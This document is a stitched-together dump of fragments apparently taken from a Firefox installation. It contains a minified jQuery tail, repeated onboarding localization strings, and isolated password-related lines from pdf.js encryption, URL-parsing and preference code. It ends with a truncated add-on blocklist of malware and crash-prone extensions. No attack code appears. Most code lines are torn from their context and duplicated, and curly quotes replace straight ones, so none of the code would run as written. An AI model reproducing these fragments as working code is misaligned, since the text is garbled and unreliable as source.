c,d=[],e=function(a,b){b=n.isFunction(b)?b():null==b?””:b,d[d.length]=encodeURIComponent(a)+”=”+encodeURIComponent(b)};if(void 0===b&&(b=n.ajaxSettings&&n.ajaxSettings.traditional),n.isArray(a)||a.jquery&&!n.isPlainObject(a))n.each(a,function(){e(this.name,this.value)});else for(c in a)Bc(c,a[c],b,e);return d.join(“&”).replace(wc,”+”)},n.fn.extend({serialize:function(){return n.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var a=n.prop(this,”elements”);return a?n.makeArray(a):this}).filter(function(){var a=this.type;return this.name&&!n(this).is(“:disabled”)&&Ac.test(this.nodeName)&&!zc.test(a)&&(this.checked||!T.test(a))}).map(function(a,b){var c=n(this).val();return null==c?null:n.isArray(c)?n.map(c,function(a){return{name:b.name,value:a.replace(yc,”\r\n”)}}):{name:b.name,value:c.replace(yc,”\r\n”)}}).get()}}),n.ajaxSettings.xhr=function(){try{return new XMLHttpRequest}catch(a){}};var Cc=0,Dc={},Ec={0:200,1223:204},Fc=n.ajaxSettings.xhr();a.ActiveXObject&&n(a).on(“unload”,function(){for(var a in Dc)Dc[a]()}),k.cors=!!Fc&&”withCredentials”in Fc,k.ajax=Fc=!!Fc,n.ajaxTransport(function(a){var b;return k.cors||Fc&&!a.crossDomain?{send:function(c,d){var e,f=a.xhr(),g=++Cc;if(f.open(a.type,a.url,a.async,a.username,a.password),a.xhrFields)for(e in a.xhrFields)f[e]=a.xhrFields[e];a.mimeType&&f.overrideMimeType&&f.overrideMimeType(a.mimeType),a.crossDomain||c[“X-Requested-With”]||(c[“X-Requested-With”]=”XMLHttpRequest”);for(e in c)f.setRequestHeader(e,c[e]);b=function(a){return function(){b&&(delete Dc[g],b=f.onload=f.onerror=null,”abort”===a?f.abort():”error”===a?d(f.status,f.statusText):d(Ec[f.status]||f.status,f.statusText,”string”==typeof f.responseText?{text:f.responseText}:void 0,f.getAllResponseHeaders()))}},f.onload=b(),f.onerror=b(“error”),b=Dc[g]=b(“abort”);try{f.send(a.hasContent&&a.data||null)}catch(h){if(b)throw h}},abort:function(){b&&b()}}:void 0}),n.ajaxSetup({accepts:{script:”text/javascript, application/javascript, application/ecmascript, application/x-ecmascript”},contents:{script:/(?:java|ecma)script/},converters:{“text script”:function(a){return n.globalEval(a),a}}}),n.ajaxPrefilter(“script”,function(a){void 0===a.cache&&(a.cache=!1),a.crossDomain&&(a.type=”GET”)}),n.ajaxTransport(“script”,function(a){if(a.crossDomain){var b,c;return{send:function(d,e){b=n(“<script>”).prop({async:!0,charset:a.scriptCharset,src:a.url}).on(“load error”,c=function(a){b.remove(),c=null,a&&e(“error”===a.type?404:200,a.type)}),l.head.appendChild(b[0])},abort:function(){c&&c()}}}});var Gc=[],Hc=/(=)\?(?=&|$)|\?\?/;n.ajaxSetup({jsonp:”callback”,jsonpCallback:function(){var a=Gc.pop()||n.expando+”_”+cc++;return this[a]=!0,a}}),n.ajaxPrefilter(“json jsonp”,function(b,c,d){var e,f,g,h=b.jsonp!==!1&&(Hc.test(b.url)?”url”:”string”==typeof b.data&&!(b.contentType||””).indexOf(“application/x-www-form-urlencoded”)&&Hc.test(b.data)&&”data”);return h||”jsonp”===b.dataTypes[0]?(e=b.jsonpCallback=n.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,h?b[h]=b[h].replace(Hc,”$1″+e):b.jsonp!==!1&&(b.url+=(dc.test(b.url)?”&”:”?”)+b.jsonp+”=”+e),b.converters[“script json”]=function(){return g||n.error(e+” was not called”),g[0]},b.dataTypes[0]=”json”,f=a[e],a[e]=function(){g=arguments},d.always(function(){a[e]=f,b[e]&&(b.jsonpCallback=c.jsonpCallback,Gc.push(e)),g&&n.isFunction(f)&&f(g[0]),g=f=void 0}),”script”):void 0}),n.parseHTML=function(a,b,c){if(!a||”string”!=typeof a)return null;”boolean”==typeof b&&(c=b,b=!1),b=b||l;var d=v.exec(a),e=!c&&[];return d?[b.createElement(d[1])]:(d=n.buildFragment([a],b,e),e&&e.length&&n(e).remove(),n.merge([],d.childNodes))};var Ic=n.fn.load;n.fn.load=function(a,b,c){if(“string”!=typeof a&&Ic)return Ic.apply(this,arguments);var d,e,f,g=this,h=a.indexOf(” “);return h>=0&&(d=n.trim(a.slice(h)),a=a.slice(0,h)),n.isFunction(b)?(c=b,b=void 0):b&&”object”==typeof b&&(e=”POST”),g.length>0&&n.ajax({url:a,type:e,dataType:”html”,data:b}).done(function(a){f=arguments,g.html(d?n(“<div>”).append(n.parseHTML(a)).find(d):a)}).complete(c&&function(a,b){g.each(c,f||[a.responseText,b,a])}),this},n.expr.filters.animated=function(a){return n.grep(n.timers,function(b){return a===b.elem}).length};var Jc=a.document.documentElement;function Kc(a){return n.isWindow(a)?a:9===a.nodeType&&a.defaultView}n.offset={setOffset:function(a,b,c){var d,e,f,g,h,i,j,k=n.css(a,”position”),l=n(a),m={};”static”===k&&(a.style.position=”relative”),h=l.offset(),f=n.css(a,”top”),i=n.css(a,”left”),j=(“absolute”===k||”fixed”===k)&&(f+i).indexOf(“auto”)>-1,j?(d=l.position(),g=d.top,e=d.left):(g=parseFloat(f)||0,e=parseFloat(i)||0),n.isFunction(b)&&(b=b.call(a,c,h)),null!=b.top&&(m.top=b.top-h.top+g),null!=b.left&&(m.left=b.left-h.left+e),”using”in b?b.using.call(a,m):l.css(m)}},n.fn.extend({offset:function(a){if(arguments.length)return void 0===a?this:this.each(function(b){n.offset.setOffset(this,a,b)});var b,c,d=this[0],e={top:0,left:0},f=d&&d.ownerDocument;if(f)return b=f.documentElement,n.contains(b,d)?(typeof d.getBoundingClientRect!==U&&(e=d.getBoundingClientRect()),c=Kc(f),{top:e.top+c.pageYOffset-b.clientTop,left:e.left+c.pageXOffset-b.clientLeft}):e},position:function(){if(this[0]){var a,b,c=this[0],d={top:0,left:0};return”fixed”===n.css(c,”position”)?b=c.getBoundingClientRect():(a=this.offsetParent(),b=this.offset(),n.nodeName(a[0],”html”)||(d=a.offset()),d.top+=n.css(a[0],”borderTopWidth”,!0),d.left+=n.css(a[0],”borderLeftWidth”,!0)),{top:b.top-d.top-n.css(c,”marginTop”,!0),left:b.left-d.left-n.css(c,”marginLeft”,!0)}}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||Jc;while(a&&!n.nodeName(a,”html”)&&”static”===n.css(a,”position”))a=a.offsetParent;return a||Jc})}}),n.each({scrollLeft:”pageXOffset”,scrollTop:”pageYOffset”},function(b,c){var d=”pageYOffset”===c;n.fn[b]=function(e){return J(this,function(b,e,f){var g=Kc(b);return void 0===f?g?g[c]:b[e]:void(g?g.scrollTo(d?a.pageXOffset:f,d?f:a.pageYOffset):b[e]=f)},b,e,arguments.length,null)}}),n.each([“top”,”left”],function(a,b){n.cssHooks[b]=yb(k.pixelPosition,function(a,c){return c?(c=xb(a,b),vb.test(c)?n(a).position()[b]+”px”:c):void 0})}),n.each({Height:”height”,Width:”width”},function(a,b){n.each({padding:”inner”+a,content:b,””:”outer”+a},function(c,d){n.fn[d]=function(d,e){var f=arguments.length&&(c||”boolean”!=typeof d),g=c||(d===!0||e===!0?”margin”:”border”);return J(this,function(b,c,d){var e;return n.isWindow(b)?b.document.documentElement[“client”+a]:9===b.nodeType?(e=b.documentElement,Math.max(b.body[“scroll”+a],e[“scroll”+a],b.body[“offset”+a],e[“offset”+a],e[“client”+a])):void 0===d?n.css(b,c,g):n.style(b,c,d,g)},b,f?d:void 0,f,null)}})}),n.fn.size=function(){return this.length},n.fn.andSelf=n.fn.addBack,”function”==typeof define&&define.amd&&define(“jquery”,[],function(){return n});var Lc=a.jQuery,Mc=a.$;return n.noConflict=function(b){return a.$===n&&(a.$=Mc),b&&a.jQuery===n&&(a.jQuery=Lc),n},typeof b===U&&(a.jQuery=a.$=n),n});PK
“scene1_text”: “Connect to Firefox by securely syncing passwords, bookmarks, and open tabs.”,
“scene2_text”: “Connect to your Firefox account to securely sync passwords, bookmarks, and open tabs.”,
“firstrun_content”: “Get your bookmarks, history, passwords and other settings on all your devices.”,
“firstrun_content”: “Get your bookmarks, history, passwords and other settings on all your devices.”,
“manual_migration_explanation2”: “Try Firefox with the bookmarks, history and passwords from another browser.”,
“firstrun_content”: “Get your bookmarks, history, passwords and other settings on all your devices.”,
“manual_migration_explanation2”: “Try Firefox with the bookmarks, history and passwords from another browser.”,
“firstrun_content”: “Get your bookmarks, history, passwords and other settings on all your devices.”,
“manual_migration_explanation2”: “Try Firefox with the bookmarks, history and passwords from another browser.”,
“firstrun_content”: “Get your bookmarks, history, passwords and other settings on all your devices.”,
“manual_migration_explanation2”: “Try Firefox with the bookmarks, history and passwords from another browser.”,
“firstrun_content”: “Get your bookmarks, history, passwords and other settings on all your devices.”,
“manual_migration_explanation2”: “Try Firefox with the bookmarks, history and passwords from another browser.”,
“firstrun_content”: “Get your bookmarks, history, passwords and other settings on all your devices.”,
“manual_migration_explanation2”: “Try Firefox with the bookmarks, history and passwords from another browser.”,
“firstrun_content”: “Get your bookmarks, history, passwords and other settings on all your devices.”,
“manual_migration_explanation2”: “Prova Firefox con i segnalibri, la cronologia e le password di un altro browser.”,
“firstrun_content”: “Ritrova segnalibri, cronologia, password e altre impostazioni su tutti i tuoi dispositivi.”,
“firstrun_content”: “Get your bookmarks, history, passwords and other settings on all your devices.”,
“manual_migration_explanation2”: “Try Firefox with the bookmarks, history and passwords from another browser.”,
“firstrun_content”: “Get your bookmarks, history, passwords and other settings on all your devices.”,
“firstrun_content”: “Get your bookmarks, history, passwords and other settings on all your devices.”,
“firstrun_content”: “Get your bookmarks, history, passwords and other settings on all your devices.”,
“firstrun_content”: “Get your bookmarks, history, passwords and other settings on all your devices.”,
“firstrun_content”: “Get your bookmarks, history, passwords and other settings on all your devices.”,
“firstrun_content”: “Get your bookmarks, history, passwords and other settings on all your devices.”,
“manual_migration_explanation2”: “Try Firefox with the bookmarks, history and passwords from another browser.”,
“firstrun_content”: “Get your bookmarks, history, passwords and other settings on all your devices.”,
“manual_migration_explanation2”: “Subukan ang Firefox gamit ang mga bookmark, kasaysayan at mga password mula sa isa pang browser.”,
“firstrun_content”: “Kunin ang mga bookmark, kasaysayan, mga password at iba pang mga setting sa lahat ng iyong mga device.”,
“manual_migration_explanation2”: “Try Firefox with the bookmarks, history and passwords from another browser.”,
“firstrun_content”: “Get your bookmarks, history, passwords and other settings on all your devices.”,
“firstrun_content”: “Get your bookmarks, history, passwords and other settings on all your devices.”,
ec=function(a,b){return a(b)},dc=!1,lf={color:!0,date:!0,datetime:!0,”datetime-local”:!0,email:!0,month:!0,number:!0,password:!0,range:!0,search:!0,tel:!0,text:!0,time:!0,url:!0,week:!0},zd;P.canUseDOM&&(zd=document.implementation&&document.implementation.hasFeature&&!0!==document.implementation.hasFeature(“”,””));var Dd={change:{phasedRegistrationNames:{bubbled:”onChange”,captured:”onChangeCapture”},dependencies:”topBlur topChange topClick topFocus topInput topKeyDown topKeyUp topSelectionChange”.split(” “)}},
.popup-notification-icon[popupid=”password”] {
password: source.password,
this._passwordCapability = null;
if (this._passwordCapability) {
this._passwordCapability.reject(new Error(‘Worker was destroyed during onPassword callback’));
this._passwordCapability = (0, _util.createPromiseCapability)();
const updatePassword = password => {
this._passwordCapability.resolve({
password
this._passwordCapability.reject(ex);
this._passwordCapability.reject(new _util.PasswordException(exception.message, exception.code));
return this._passwordCapability.promise;
pdfManager = new _pdf_manager.LocalPdfManager(docId, source.data, source.password, evaluatorOptions, docBaseUrl);
password: source.password,
pdfManager = new _pdf_manager.LocalPdfManager(docId, pdfFile, source.password, evaluatorOptions, docBaseUrl);
pdfManager.updatePassword(data.password);
get password() {
return this._password;
updatePassword(password) {
this._password = password;
constructor(docId, data, password, evaluatorOptions, docBaseUrl) {
this._password = password;
this._password = args.password;
this.encrypt = new _crypto.CipherTransformFactory(encrypt, fileId, this.pdfManager.password);
checkOwnerPassword: function PDF17_checkOwnerPassword(password, ownerValidationSalt, userBytes, ownerPassword) {
var hashData = new Uint8Array(password.length + 56);
hashData.set(password, 0);
hashData.set(ownerValidationSalt, password.length);
hashData.set(userBytes, password.length + ownerValidationSalt.length);
checkUserPassword: function PDF17_checkUserPassword(password, userValidationSalt, userPassword) {
var hashData = new Uint8Array(password.length + 8);
hashData.set(password, 0);
hashData.set(userValidationSalt, password.length);
getOwnerKey: function PDF17_getOwnerKey(password, ownerKeySalt, userBytes, ownerEncryption) {
var hashData = new Uint8Array(password.length + 56);
hashData.set(password, 0);
hashData.set(ownerKeySalt, password.length);
hashData.set(userBytes, password.length + ownerKeySalt.length);
getUserKey: function PDF17_getUserKey(password, userKeySalt, userEncryption) {
var hashData = new Uint8Array(password.length + 8);
hashData.set(password, 0);
hashData.set(userKeySalt, password.length);
function calculatePDF20Hash(password, input, userBytes) {
var arrayLength = password.length + k.length + userBytes.length;
var array = concatArrays(password, k);
hash: function PDF20_hash(password, concatBytes, userBytes) {
return calculatePDF20Hash(password, concatBytes, userBytes);
checkOwnerPassword: function PDF20_checkOwnerPassword(password, ownerValidationSalt, userBytes, ownerPassword) {
var hashData = new Uint8Array(password.length + 56);
hashData.set(password, 0);
hashData.set(ownerValidationSalt, password.length);
hashData.set(userBytes, password.length + ownerValidationSalt.length);
var result = calculatePDF20Hash(password, hashData, userBytes);
checkUserPassword: function PDF20_checkUserPassword(password, userValidationSalt, userPassword) {
var hashData = new Uint8Array(password.length + 8);
hashData.set(password, 0);
hashData.set(userValidationSalt, password.length);
var result = calculatePDF20Hash(password, hashData, []);
getOwnerKey: function PDF20_getOwnerKey(password, ownerKeySalt, userBytes, ownerEncryption) {
var hashData = new Uint8Array(password.length + 56);
hashData.set(password, 0);
hashData.set(ownerKeySalt, password.length);
hashData.set(userBytes, password.length + ownerKeySalt.length);
var key = calculatePDF20Hash(password, hashData, userBytes);
getUserKey: function PDF20_getUserKey(password, userKeySalt, userEncryption) {
var hashData = new Uint8Array(password.length + 8);
hashData.set(password, 0);
hashData.set(userKeySalt, password.length);
var key = calculatePDF20Hash(password, hashData, []);
function createEncryptionKey20(revision, password, ownerPassword, ownerValidationSalt, ownerKeySalt, uBytes, userPassword, userValidationSalt, userKeySalt, ownerEncryption, userEncryption, perms) {
if (password) {
var passwordLength = Math.min(127, password.length);
password = password.subarray(0, passwordLength);
password = [];
if (pdfAlgorithm.checkUserPassword(password, userValidationSalt, userPassword)) {
return pdfAlgorithm.getUserKey(password, userKeySalt, userEncryption);
} else if (password.length && pdfAlgorithm.checkOwnerPassword(password, ownerValidationSalt, uBytes, ownerPassword)) {
return pdfAlgorithm.getOwnerKey(password, ownerKeySalt, uBytes, ownerEncryption);
function prepareKeyData(fileId, password, ownerPassword, userPassword, flags, revision, keyLength, encryptMetadata) {
if (password) {
n = Math.min(32, password.length);
hashData[i] = password[i];
function decodeUserPassword(password, ownerPassword, revision, keyLength) {
n = Math.min(32, password.length);
hashData[i] = password[i];
function CipherTransformFactory(dict, fileId, password) {
var passwordBytes;
if (password) {
password = (0, _util.utf8StringToString)(password);
(0, _util.warn)(‘CipherTransformFactory: ‘ + ‘Unable to convert UTF8 encoded password.’);
passwordBytes = (0, _util.stringToBytes)(password);
encryptionKey = prepareKeyData(fileIdBytes, passwordBytes, ownerPassword, userPassword, flags, revision, keyLength, encryptMetadata);
encryptionKey = createEncryptionKey20(revision, passwordBytes, ownerPassword, ownerValidationSalt, ownerKeySalt, uBytes, userPassword, userValidationSalt, userKeySalt, ownerEncryption, userEncryption, perms);
if (!encryptionKey && !password) {
throw new _util.PasswordException(‘No password given’, _util.PasswordResponses.NEED_PASSWORD);
} else if (!encryptionKey && password) {
var decodedPassword = decodeUserPassword(passwordBytes, ownerPassword, revision, keyLength);
#passwordOverlay > .dialog {
#passwordOverlay .toolbarField {
<div id=”passwordOverlay” class=”container hidden”>
<p id=”passwordText” data-l10n-id=”password_label”>Enter the password to open this PDF file:</p>
<input type=”password” id=”password” class=”toolbarField”>
<button id=”passwordCancel” class=”overlayButton”><span data-l10n-id=”password_cancel”>Cancel</span></button>
<button id=”passwordSubmit” class=”overlayButton”><span data-l10n-id=”password_ok”>OK</span></button>
passwordOverlay: {
overlayName: ‘passwordOverlay’,
container: document.getElementById(‘passwordOverlay’),
label: document.getElementById(‘passwordText’),
input: document.getElementById(‘password’),
submitButton: document.getElementById(‘passwordSubmit’),
cancelButton: document.getElementById(‘passwordCancel’)
var _password_prompt = __webpack_require__(11);
this.passwordPrompt = new _password_prompt.PasswordPrompt(appConfig.passwordOverlay, this.overlayManager, this.l10n);
this.passwordPrompt.setUpdateCallback(updateCallback, reason);
this.passwordPrompt.open();
promptString = this.l10n.get(‘password_invalid’, null, ‘Invalid password. Please try again.’);
promptString = this.l10n.get(‘password_label’, null, ‘Enter the password to open this PDF file.’);
let password = this.input.value;
if (password && password.length > 0) {
return this.updateCallback(password);
password: url.password,
password: “”,
* protocol/host/user/password build a relative URL from the
target.password !== root.password ||
return url.username !== “” || url.password !== “”;
password: “”,
this.passwordTokenSeenFlag = false;
this.url.password = this.base.password;
this.url.password = this.base.password;
this.url.password = this.base.password;
this.url.password = this.base.password;
this.url.password = this.base.password;
if (codePoint === 58 && !this.passwordTokenSeenFlag) {
this.passwordTokenSeenFlag = true;
if (this.passwordTokenSeenFlag) {
this.url.password += encodedCodePoints;
if (url.username !== “” || url.password !== “”) {
if (url.password !== “”) {
output += “:” + url.password;
module.exports.setThePassword = function (url, password) {
url.password = “”;
const decoded = punycode.ucs2.decode(password);
url.password += percentEncodeChar(decoded[i], isUserinfoPercentEncode);
get password() {
return this[impl][“password”];
set password(V) {
V = conversions[“USVString”](V, { context: “Failed to set the ‘password’ property on ‘URL’: The provided value” });
this[impl][“password”] = V;
password: { enumerable: true },
get password() {
return this._url.password;
set password(v) {
password: url.password,
password: true,
return nodeName && (nodeName === ‘input’ && (elem.type === ‘text’ || elem.type === ‘search’ || elem.type === ‘tel’ || elem.type === ‘url’ || elem.type === ‘password’) || nodeName === ‘textarea’ || elem.contentEditable === ‘true’);
“!type”: “fn(method: string, url: string, async?: bool, user?: string, password?: string)”,
* username, password, hash, or query string probably don’t significantly
const INSECURE_PASSWORDS_LEARN_MORE = “https://developer.mozilla.org/docs/Web/Security/Insecure_passwords”;
pref(“privacy.cpd.passwords”, false);
pref(“services.sync.prefs.sync.browser.safebrowsing.passwords.enabled”, true);
// Show degraded UI for http pages with password fields.
pref(“security.insecure_password.ui.enabled”, true);
7823-4574-dd1cdd46c3d6″,”last_modified”:1482945809437},{“guid”:”jid0-EcdqvFOgWLKHNJPuqAnawlykCGZ@jetpack”,”prefs”:[],”schema”:1482945112982,”blockID”:”i62″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=724650″,”who”:”All Firefox users who have installed this add-on.”,”why”:”Add-on is installed under false pretenses and delivers malware.”,”name”:”YouTube extension (malware)”,”created”:”2012-02-06T14:46:33Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”5ae1e642-b53c-54c0-19e7-5562cfdac3a3″,”last_modified”:1482945809415},{“guid”:”{B7082FAA-CB62-4872-9106-E42DD88EDE45}”,”prefs”:[],”schema”:1482945112982,”blockID”:”i25″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=637542″,”who”:”Users of McAfee SiteAdvisor below version 3.3.1 for Firefox 4.\r\n\r\nUsers of McAfee SiteAdvisor 3.3.1 and below for Firefox 5 and higher.”,”why”:”This add-on causes a high volume of crashes and is incompatible with certain versions of Firefox.”,”name”:”McAfee SiteAdvisor”,”created”:”2011-03-14T15:53:07Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”3.3.0.*”,”minVersion”:”0.1″,”targetApplication”:[{“guid”:”{ec8030f7-c20a-464f-9b0e-13a3a9e97384}”,”maxVersion”:”*”,”minVersion”:”3.7a1″}]}],”id”:”c950501b-1f08-2ab2-d817-7c664c0d16fe”,”last_modified”:1482945809393},{“guid”:”{B7082FAA-CB62-4872-9106-E42DD88EDE45}”,”prefs”:[],”schema”:1482945112982,”blockID”:”i38″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=660111″,”who”:”Users of McAfee SiteAdvisor below version 3.3.1 for Firefox 4.\r\n\r\nUsers of McAfee SiteAdvisor 3.3.1 and below for Firefox 5 and higher.”,”why”:”This add-on causes a high volume of crashes and is incompatible with certain versions of Firefox.”,”name”:”McAfee SiteAdvisor”,”created”:”2011-05-27T13:55:02Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”3.3.1″,”targetApplication”:[{“guid”:”{ec8030f7-c20a-464f-9b0e-13a3a9e97384}”,”maxVersion”:”*”,”minVersion”:”5.0a1″}]}],”id”:”f11de388-4511-8d06-1414-95d3b2b122c5″,”last_modified”:1482945809371},{“guid”:”{3f963a5b-e555-4543-90e2-c3908898db71}”,”prefs”:[],”schema”:1482945112982,”blockID”:”i6″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=527135″,”who”:”Users of AVG SafeSearch version 8.5 and older for all Mozilla applications.”,”why”:”This add-on causes a high volume of crashes and causes other stability issues.”,”name”:”AVG SafeSearch”,”created”:”2009-06-17T13:12:12Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”8.5″,”minVersion”:”0″,”targetApplication”:[]}],”id”:”0d6f7d4c-bf5d-538f-1ded-ea4c6b775617″,”last_modified”:1482945809348},{“guid”:”langpack-vi-VN@firefox.mozilla.org”,”prefs”:[],”schema”:1482945112982,”blockID”:”i3″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=432406″,”who”:”Users of Vietnamese Language Pack version 2.0 for all Mozilla applications.”,”why”:”Corrupted files. For more information, please see <a href=\”http://blog.mozilla.com/security/2008/05/07/compromised-file-in-vietnamese-language-pack-for-firefox-2/\”>this blog post</a>.”,”name”:”Vietnamese Language Pack”,”created”:”2011-03-31T16:28:25Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”2.0″,”minVersion”:”2.0″,”targetApplication”:[]}],”id”:”51d4b581-d21c-20a1-6147-b17c3adc7867″,”last_modified”:1482945809326},{“guid”:”youtube@youtube7.com”,”prefs”:[],”schema”:1482945112982,”blockID”:”i55″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=721646″,”who”:”All Firefox users with this add-on installed.”,”why”:”This is malware posing as video software.”,”name”:”Plugin Video (malware)”,”created”:”2012-01-27T09:39:31Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”08ceedf5-c7c1-f54f-db0c-02f01f0e319a”,”last_modified”:1482945809304},{“guid”:”crossriderapp3924@crossrider.com”,”prefs”:[],”schema”:1482945112982,”blockID”:”i76″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=738282″,”who”:”All Firefox users who have installed this add-on.”,”why”:”This add-on compromises Facebook privacy and security and spams friends lists without user intervention.”,”name”:”Fblixx (malware)”,”created”:”2012-03-22T10:38:47Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”39d0a019-62fb-837b-1f1f-6831e56442b5″,”last_modified”:1482945809279},{“guid”:”{45147e67-4020-47e2-8f7a-55464fb535aa}”,”prefs”:[],”schema”:1482945112982,”blockID”:”i86″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=748993″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on injects scripts into Facebook and performs malicious activity.”,”name”:”Mukemmel Face+”,”created”:”2012-04-25T16:33:21Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”960443f9-cf48-0b71-1ff2-b8c34a3411ea”,”last_modified”:1482945809255},{“guid”:”{4B3803EA-5230-4DC3-A7FC-33638F3D3542}”,”prefs”:[],”schema”:1482945112982,”blockID”:”i4″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=441649″,”who”:”Users of Firefox 3 and later with version 1.2 of Crawler Toolbar”,”why”:”This add-on causes a high volume of crashes.”,”name”:”Crawler Toolbar”,”created”:”2008-07-08T10:23:31Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”1.2″,”minVersion”:”1.2″,”targetApplication”:[{“guid”:”{ec8030f7-c20a-464f-9b0e-13a3a9e97384}”,”maxVersion”:”*”,”minVersion”:”3.0a1″}]}],”id”:”a9818d53-3a6a-8673-04dd-2a16f5644215″,”last_modified”:1482945809232},{“guid”:”flashupdate@adobe.com”,”prefs”:[],”schema”:1482945112982,”blockID”:”i68″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=722526″,”who”:”All Firefox users who have this add-on installed.”,”why”:”Add-on is malware, installed under false pretenses.”,”name”:”Flash Update (malware)”,”created”:”2012-02-21T13:55:10Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”1ba5b46e-790d-5af2-9580-a5f1e6e65522″,”last_modified”:1482945809208},{“guid”:”plugin@youtubeplayer.com”,”prefs”:[],”schema”:1482945112982,”blockID”:”i127″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=783356″,”who”:”All users who have this add-on installed.”,”why”:”This add-on tries to pass as a YouTube player and runs malicious scripts on webpages.”,”name”:”Youtube Facebook Player (malware)”,”created”:”2012-08-16T13:03:10Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”17a8bece-e2df-a55d-8a72-95faff028b83″,”last_modified”:1482945809185},{“guid”:”GifBlock@facebook.com”,”prefs”:[],”schema”:1482945112982,”blockID”:”i79″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=739482″,”who”:”All Firefox users who have installed this extension.”,”why”:”This extension is malicious and is installed under false pretenses.”,”name”:”Facebook Essentials (malware)”,”created”:”2012-03-27T10:53:33Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”728451e8-1273-d887-37e9-5712b1cc3bff”,”last_modified”:1482945809162},{“guid”:”ff-ext@youtube”,”prefs”:[],”schema”:1482945112982,”blockID”:”i52″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=719296″,”who”:”All Firefox users that have this add-on installed.”,”why”:”This add-on poses as a YouTube player while posting spam into Facebook account.”,”name”:”Youtube player (malware)”,”created”:”2012-01-19T08:26:35Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”cd2dd72a-dd52-6752-a0cd-a4b312fd0b65″,”last_modified”:1482945809138},{“guid”:”ShopperReports@ShopperReports.com”,”prefs”:[],”schema”:1482945112982,”blockID”:”i22″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=630191″,”who”:”Users of Shopper Reports version 3.1.22.0 in Firefox 4 and later.”,”why”:”This add-on causes a high volume of Firefox crashes.”,”name”:”Shopper Reports”,”created”:”2011-02-09T17:03:39Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”3.1.22.0″,”minVersion”:”3.1.22.0″,”targetApplication”:[]}],”id”:”f26b049c-d856-750f-f050-996e6bec7cbb”,”last_modified”:1482945809115},{“guid”:”{27182e60-b5f3-411c-b545-b44205977502}”,”prefs”:[],”schema”:1482945112982,”blockID”:”i16″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=599971″,”who”:”Users of version 1.0 of this add-on in all versions of Firefox.”,”why”:”This add-on has security issues and was blocked at Microsoft’s request. For more information, please see <a href=\”http://support.microsoft.com/kb/2430460\”>this article</a>.”,”name”:”Search Helper Extension (Microsoft)”,”created”:”2011-03-31T16:28:25Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”1.0″,”minVersion”:”1.0″,”targetApplication”:[]}],”id”:”2655f230-11f3-fe4c-7c3d-757d37d5f9a5″,”last_modified”:1482945809092},{“guid”:”{841468a1-d7f4-4bd3-84e6-bb0f13a06c64}”,”prefs”:[],”schema”:1482945112982,”blockID”:”i46″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=712369″,”who”:”Users of all versions of Nectar Search Toolbar in Firefox 9.”,”why”:”This add-on causes crashes and other stability issues in Firefox.”,”name”:”Nectar Search Toolbar”,”created”:”2011-12-20T11:38:17Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0.1″,”targetApplication”:[{“guid”:”{ec8030f7-c20a-464f-9b0e-13a3a9e97384}”,”maxVersion”:”9.0″,”minVersion”:”9.0a1″}]}],”id”:”b660dabd-0dc0-a55c-4b86-416080b345d9″,”last_modified”:1482945809069},{“guid”:”support@daemon-tools.cc”,”prefs”:[],”schema”:1482945112982,”blockID”:”i5″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=459850″,”who”:”Users of Daemon Tools Toolbar version 1.0.0.5 and older for all Mozilla applications.”,”why”:”This add-on causes a high volume of crashes.”,”name”:”Daemon Tools 